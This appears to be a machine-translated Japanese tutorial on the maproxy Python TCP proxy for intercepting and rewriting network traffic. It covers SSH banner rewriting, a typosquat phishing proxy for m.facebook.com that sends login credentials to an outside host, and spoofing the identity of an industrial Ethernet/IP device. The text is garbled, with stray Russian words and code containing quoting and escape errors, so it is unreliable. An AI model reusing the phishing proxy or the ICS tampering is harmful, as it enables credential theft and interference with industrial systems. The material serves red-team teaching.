記事の翻訳はコース開始前夜に準備されました .

アブストラクト
通常の侵入テストやレッドチーム作戦から、IoT/ICSデバイスやSCADAへのハッキングまで、様々なセキュリティ評価にはバイナリネットワークプロトコルの活用が求められます。これは本質的に、クライアントとターゲット間のネットワークデータを傍受・改ざんすることを意味します。Wireshark、Tcpdump、Scapyといったツールがあるため、ネットワークトラフィックのスニッフィングは難しくありません。しかし、改ざんはより困難です。ネットワークデータを読み取り、フィルタリングし、リアルタイムで改ざんを行い、ターゲットホストにほぼリアルタイムで送り返すためのインターフェースが必要となるからです。また、複数の並列接続を自動的に処理し、スクリプトでカスタマイズできるツールがあれば理想的です。
ある日、私は「 資料を見るとすぐにそれが分かりました maproxy – まさに私が求めていたものです。非常にシンプルで多機能、そして設定も簡単なTCPプロキシです。このツールを、大量のパケットを生成するICSデバイスを含む、かなり複雑なアプリケーションでテストし、複数の並列接続を処理できるかどうかを確認しましたが、良好なパフォーマンスを示しました。
この記事では、ネットワークデータをリアルタイムで処理する方法を紹介します。 maproxy.
Обзор
ツール maproxy Python で書かれた、人気があり成熟した非同期ネットワーク フレームワークである Tornado をベースにしています。
一般的に、いくつかのモードで動作できます。
TCP:TCP– 暗号化されていない TCP 接続TCP:SSLиSSL:TCP– 一方向暗号化を使用SSL:SSL- 双方向暗号化。
ライブラリとして提供されます。すぐに使い始めるには、メインの機能を反映するサンプルファイルを使用できます。 :
all.pycertificate.pemlogging_proxy.pyprivatekey.pemssl2ssl.pyssl2tcp.pytcp2ssl.pytcp2tcp.py
ケース1 – シンプルな双方向プロキシ
に基づいて tcp2tcp.py:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start() Поумолчанию ProxyServer() 接続場所とターゲット ポートの 2 つの引数を取ります。 server.listen() 1 つの引数(着信接続をリッスンするポート)を取ります。
スクリプト実行:
# python tcp2tcp.py テストを実行するために、プロキシスクリプトを介してローカルSSHサーバーに接続します。 2222/tcp ポートに接続し、標準ポートに接続します 22/tcp SSH サーバー:

ようこそバナーには、サンプル スクリプトがネットワーク トラフィックを正常にプロキシしたことを通知します。
ケース2 – データの変更
別のデモスクリプト logging_proxy.py ネットワークデータとのやり取りに最適です。ファイル内のコメントには、目的を達成するために変更できるクラスメソッドが記述されています。

最も興味深いのは、次の点です。
on_c2p_done_read– クライアントからサーバーへの途中でデータを傍受する。on_p2s_done_read- 反対方向に。
サーバーがクライアントに返す SSH バナーを変更してみましょう。
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]スクリプトを実行します。

ご覧のとおり、クライアントはSSHサーバー名が次のように置き換えられたために誤解しました。 «DumnySSH».

ケース3 – 単純なフィッシングWebページ
このツールの活用方法は無限にあります。今回は、レッドチーム作戦の領域からより実践的なものに焦点を当ててみましょう。ランディングページを模倣してみましょう。 m.facebook.com 意図的にタイプミスをしたカスタムドメインを使用する。例: m.facebok.comこのデモでは、ドメインが私たちによって登録されていると仮定しましょう。
被害者プロキシとSSLストリームを使用して暗号化されていないネットワーク接続をFacebookサーバーに確立します(31.13.81.36()この例を動作させるには、HTTPホストヘッダーを正しいホスト名に置き換え、コンテンツへのアクセスを容易にするためにレスポンスの圧縮を無効にします。最後に、ログイン認証情報がFacebookサーバーではなく、こちらに送信されるようHTMLフォームを置き換えます。
[…]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/ja/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]結果として:

ご覧のとおり、元のサイトを正常に置き換えることができました。
ケース4 – Ethernet/IPを台無しにする
私は長年、プログラマブルコントローラ(PLC)、I/Oモジュール、ドライブ、リレー、ラダープログラミング環境など、産業用デバイスとソフトウェア(ICS/SCADA)を扱ってきました。このケースは、産業関連の製品に興味のある方向けです。こうしたソリューションをハッキングするには、ネットワークプロトコルを積極的に操作する必要があります。以下の例では、ICS/SCADAのネットワークトラフィックを変更する方法を説明します。
このためには、次のものが必要になります。
- Wireshark などのネットワーク スニファー。
- Ethernet/IP または SIP デバイスであれば、Shodan サービスを使用して見つけることができます。
- 私たちの脚本は
maproxy.
まず、CIP (Common Industrial Protocol) からの典型的な識別応答がどのようなものかを見てみましょう。

デバイスの識別は、Ethernet/IPプロトコルを使用して行われます。これは、産業用途向けのEthernetプロトコルの拡張版であり、CIPなどの管理プロトコルをラップしています。スクリーンショットでハイライト表示されている識別名を変更します。 「イーサネット用NI-IndComm」 プロキシスクリプトを使用します。スクリプトを再利用できます logging_proxy.py 同様にクラスメソッドを変更します on_p2s_done_readクライアント上で別の ID が表示されるようにするためです。
コード:
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
基本的に、デバイス識別を 2 回要求し、2 回目の応答がオリジナルで、最初の応答はオンザフライで変更されました。
そして最後に
私の意見では maproxy 便利でシンプルなツールで、Pythonで書かれているので、皆さんにもきっと役立つと思います。もちろん、ネットワークデータの処理や変更にはより複雑なツールもありますが、それらはより細心の注意を払う必要があり、通常は特定のユースケース向けに開発されています。例えば、 , または 3番目と同様のケースの場合、または 最後のケースについては、何らかの方法で、 maproxy サンプル スクリプトは非常に明確なので、ネットワーク データを傍受するためのアイデアをすぐに実装できます。
出所: habr.com
